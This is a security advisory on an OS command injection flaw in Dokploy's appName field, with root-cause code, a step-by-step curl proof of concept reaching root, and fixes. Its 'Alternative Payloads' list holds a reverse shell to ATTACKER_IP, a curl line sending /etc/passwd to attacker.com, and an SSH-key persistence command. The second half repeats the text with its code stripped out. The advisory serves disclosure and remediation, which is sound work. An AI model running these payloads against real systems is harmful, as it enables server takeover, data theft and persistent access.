Summary
Dokploy is vulnerable to OS command injection through the appName parameter. User-controlled application names are passed through inadequate sanitization (cleanAppName function only replaces spaces and converts to lowercase) before being interpolated directly into shell commands executed via execAsync() and execAsyncRemote(). An authenticated attacker can inject shell metacharacters (e.g., ;, $(), backticks, |, &) in the appName field during application creation, which are then executed with server-level privileges when service operations (start, stop, remove, scale) are triggered.
Root Cause Analysis
The vulnerability exists due to three compounding issues:
-
Inadequate Input Sanitization: The cleanAppName() function in https://github.com/Dokploy/dokploy/blob/canary/packages/server/src/db/schema/utils.ts only performs minimal processing:
export const cleanAppName = (appName?: string) => {
if (!appName) {
return appName?.toLowerCase();
}
return appName.trim().replace(/ /g, "-").toLowerCase();
};
This function does NOT sanitize shell metacharacters like ;, $(), backticks, |, &, >, <, or newlines.
-
Schema Lacks Validation: The apiCreateApplication schema in https://github.com/Dokploy/dokploy/blob/canary/packages/server/src/db/schema/application.ts accepts appName (check l:290) as a plain string without regex validation:
While some API endpoints (docker.ts) use containerIdRegex = /^[a-zA-Z0-9.\-_]+$/, the application creation path does not enforce this.
-
Direct Shell Interpolation: User-controlled appName values are stored in the database and later directly interpolated into shell command strings executed via Node.js exec:
await execAsync(`docker service scale ${appName}=0`);
Proof of Concept
Prerequisites
-
Dokploy instance: Install via official script (as root):
curl -sSL https://dokploy.com/install.sh | sh
Access http://<SERVER_IP>:3000 and create admin account on first visit.
-
Tools: curl, jq
Step-by-Step Exploitation
Variables - adjust to your environment

URL="http://localhost:3000"
EMAIL="admin@example.com"
PASS="yourpassword"
Step 1: Login

curl -s -X POST "$URL/api/auth/sign-in/email" \
-H "Content-Type: application/json" \
-d "{\"email\":\"$EMAIL\",\"password\":\"$PASS\"}" \
-c cookies.txt
Step 2: Create a project (required to get an environmentId)
Projects are created via tRPC mutation. Response includes project.projectId and environment.environmentId

curl -X POST "http://localhost:3000/api/trpc/project.create" \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{
"json": {
"name": "exploit-project",
"description": "Test project for PoC"
}
}'
# Example response (save the environmentId from the response):
# {"result":{"data":{"json":{"project":{"projectId":"abc123",...},"environment":{"environmentId":"env456",...}}}}}
Step 3: Create an application with malicious appName containing command injection payload
The appName field accepts shell metacharacters that will be executed later

curl -X POST "http://localhost:3000/api/trpc/application.create" \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{
"json": {
"name": "malicious-app",
"appName": "test;id>/tmp/pwned;echo",
"environmentId": "<ENVIRONMENT_ID_FROM_STEP_2>"
}
}'
# Example response (save the applicationId):
# {"result":{"data":{"json":{"applicationId":"app789","appName":"test;id>/tmp/pwned;echo",...}}}}
Step 4: Trigger the vulnerability by stopping the application
When stop is called, it executes: docker service scale test;id>/tmp/pwned;echo=0
This breaks into multiple commands:
- docker service scale test (fails, but continues)
- id>/tmp/pwned (EXECUTES - writes user info to /tmp/pwned)
- echo=0 (benign)
curl -X POST "http://localhost:3000/api/trpc/application.stop" \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{
"json": {
"applicationId": "<APPLICATION_ID_FROM_STEP_3>"
}
}'
Step 5: Verify RCE (Swarm uses "dokploy.1.xxx" naming)

docker exec $(docker ps -q -f name=dokploy.1) cat /tmp/pwned
# Expected output: uid=0(root) gid=0(root) groups=0(root)
Alternative Payloads
# Reverse shell payload (replace with attacker IP/port)
"appName": "x;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;echo"
# Data exfiltration payload
"appName": "x;curl http://attacker.com/steal?data=$(cat /etc/passwd|base64);echo"
# Write SSH key for persistence
"appName": "x;echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys;echo"
# Command substitution payload using $()
"appName": "x$(id>/tmp/pwned2)y"
# Backtick command substitution
"appName": "x`id>/tmp/pwned3`y"
Expected Result
After executing Step 5, the file /tmp/pwned on the Dokploy server should contain output similar to:
uid=0(root) gid=0(root) groups=0(root)
This confirms that:
- The injected command (
id>/tmp/pwned) was executed
- The command ran with root privileges (typical in Docker deployments)
- Full RCE has been achieved
Remediation
// BEFORE (vulnerable)
// packages/server/src/db/schema/utils.ts
export const cleanAppName = (appName?: string) => {
if (!appName) {
return appName?.toLowerCase();
}
return appName.trim().replace(/ /g, "-").toLowerCase();
};
// AFTER (fixed) - Option 1: Strict validation regex
const SAFE_APPNAME_REGEX = /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/;
export const cleanAppName = (appName?: string) => {
if (!appName) {
return undefined;
}
const cleaned = appName.trim().replace(/ /g, "-").toLowerCase();
if (!SAFE_APPNAME_REGEX.test(cleaned)) {
throw new Error("Invalid appName: contains forbidden characters");
}
return cleaned;
};
// AFTER (fixed) - Option 2: Use parameterized execution
// packages/server/src/utils/docker/utils.ts
import { execFile } from "child_process";
import { promisify } from "util";
const execFileAsync = promisify(execFile);
export const stopService = async (appName: string) => {
try {
// Safe: appName is passed as an argument, not interpolated into a shell string
await execFileAsync("docker", ["service", "scale", `${appName}=0`]);
} catch (error) {
console.error(error);
return error;
}
};
// Also add schema validation at the API layer
// packages/server/src/db/schema/application.ts
export const apiCreateApplication = createSchema.pick({
name: true,
appName: true,
description: true,
environmentId: true,
serverId: true,
}).extend({
appName: z.string().regex(/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/,
"appName must contain only alphanumeric characters, dots, underscores, and hyphens")
.optional(),
});
References
Summary
Dokploy is vulnerable to OS command injection through the
appNameparameter. User-controlled application names are passed through inadequate sanitization (cleanAppNamefunction only replaces spaces and converts to lowercase) before being interpolated directly into shell commands executed viaexecAsync()andexecAsyncRemote(). An authenticated attacker can inject shell metacharacters (e.g.,;,$(), backticks,|,&) in theappNamefield during application creation, which are then executed with server-level privileges when service operations (start, stop, remove, scale) are triggered.Root Cause Analysis
The vulnerability exists due to three compounding issues:
Inadequate Input Sanitization: The
cleanAppName()function in https://github.com/Dokploy/dokploy/blob/canary/packages/server/src/db/schema/utils.ts only performs minimal processing:This function does NOT sanitize shell metacharacters like
;,$(), backticks,|,&,>,<, or newlines.Schema Lacks Validation: The
apiCreateApplicationschema in https://github.com/Dokploy/dokploy/blob/canary/packages/server/src/db/schema/application.ts acceptsappName(check l:290) as a plain string without regex validation:While some API endpoints (docker.ts) use
containerIdRegex = /^[a-zA-Z0-9.\-_]+$/, the application creation path does not enforce this.Direct Shell Interpolation: User-controlled
appNamevalues are stored in the database and later directly interpolated into shell command strings executed via Node.jsexec:Proof of Concept
Prerequisites
Dokploy instance: Install via official script (as root):
curl -sSL https://dokploy.com/install.sh | shAccess
http://<SERVER_IP>:3000and create admin account on first visit.Tools:
curl,jqStep-by-Step Exploitation
Variables - adjust to your environment

Step 1: Login

Step 2: Create a project (required to get an environmentId)

Projects are created via tRPC mutation. Response includes project.projectId and environment.environmentId
Step 3: Create an application with malicious appName containing command injection payload

The appName field accepts shell metacharacters that will be executed later
Step 4: Trigger the vulnerability by stopping the application
When stop is called, it executes: docker service scale test;id>/tmp/pwned;echo=0
This breaks into multiple commands:
Step 5: Verify RCE (Swarm uses "dokploy.1.xxx" naming)

Alternative Payloads
Expected Result
After executing Step 5, the file
/tmp/pwnedon the Dokploy server should contain output similar to:This confirms that:
id>/tmp/pwned) was executedRemediation
References